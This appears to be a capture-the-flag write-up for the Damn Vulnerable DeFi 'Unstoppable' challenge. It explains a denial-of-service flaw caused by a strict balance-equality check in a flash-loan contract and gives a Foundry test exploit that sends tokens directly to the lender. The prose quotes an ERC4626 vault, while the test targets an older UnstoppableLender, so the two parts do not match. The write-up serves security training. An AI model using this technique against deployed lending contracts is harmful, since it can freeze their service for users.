If we can make convertToShares(totalSupply) and balanceBefore out of sync, then the flashLoan() call will revert. This can be a DoS attack. But how?
totalAssets():
/**
* @inheritdoc ERC4626
*/
function totalAssets() public view override returns (uint256) {
assembly { // better safe than sorry
if eq(sload(0), 2) {
mstore(0x00, 0xed3ba6a6)
revert(0x1c, 0x04)
}
}
return asset.balanceOf(address(this));
}
The assembly block tests if the storage slot 0 equals 2, and then moves something like a function selector into memory offset 0 and reverts. This looks like a defense menchanism so we can ignore it. In the end this function returns balanceOf(address(this)).
In flashLoan() we are actually testing if totalSupply is the same as balanceOf(address(this)), but recall that there are two ways of transferring ethers into this contract:
Through the vault.deposit() function -> this is the intended way
Call token.transfer() directly -> this is unintended and will break the if statement.
Dangerous strict equalities: Use of strict equalities with tokens/Ether can accidentally/maliciously cause unexpected behavior. Consider using >= or <= instead of == for such variables depending on the contract logic. (see here)
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import {Utilities} from "../../utils/Utilities.sol";
import "forge-std/Test.sol";
import {DamnValuableToken} from "../../../src/Contracts/DamnValuableToken.sol";
import {UnstoppableLender} from "../../../src/Contracts/unstoppable/UnstoppableLender.sol";
import {ReceiverUnstoppable} from "../../../src/Contracts/unstoppable/ReceiverUnstoppable.sol";
contract Unstoppable is Test {
uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;
uint256 internal constant INITIAL_ATTACKER_TOKEN_BALANCE = 100e18;
Utilities internal utils;
UnstoppableLender internal unstoppableLender;
ReceiverUnstoppable internal receiverUnstoppable;
DamnValuableToken internal dvt;
address payable internal attacker;
address payable internal someUser;
function setUp() public {
/**
* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE
*/
utils = new Utilities();
address payable[] memory users = utils.createUsers(2);
attacker = users[0];
someUser = users[1];
vm.label(someUser, "User");
vm.label(attacker, "Attacker");
dvt = new DamnValuableToken();
vm.label(address(dvt), "DVT");
unstoppableLender = new UnstoppableLender(address(dvt));
vm.label(address(unstoppableLender), "Unstoppable Lender");
dvt.approve(address(unstoppableLender), TOKENS_IN_POOL);
unstoppableLender.depositTokens(TOKENS_IN_POOL);
dvt.transfer(attacker, INITIAL_ATTACKER_TOKEN_BALANCE);
assertEq(dvt.balanceOf(address(unstoppableLender)), TOKENS_IN_POOL);
assertEq(dvt.balanceOf(attacker), INITIAL_ATTACKER_TOKEN_BALANCE);
// Show it's possible for someUser to take out a flash loan
vm.startPrank(someUser);
receiverUnstoppable = new ReceiverUnstoppable(
address(unstoppableLender)
);
vm.label(address(receiverUnstoppable), "Receiver Unstoppable");
receiverUnstoppable.executeFlashLoan(10);
vm.stopPrank();
console.log(unicode"🧨 Let's see if you can break it... 🧨");
}
function testExploit() public {
/**
* EXPLOIT START *
*/
vm.prank(attacker);
dvt.transfer(address(unstoppableLender), 1);
/**
* EXPLOIT END *
*/
vm.expectRevert(UnstoppableLender.AssertionViolated.selector);
validation();
console.log(unicode"\n🎉 Congratulations, you can go to the next level! 🎉");
}
function validation() internal {
// It is no longer possible to execute flash loans
vm.startPrank(someUser);
receiverUnstoppable.executeFlashLoan(10);
vm.stopPrank();
}
}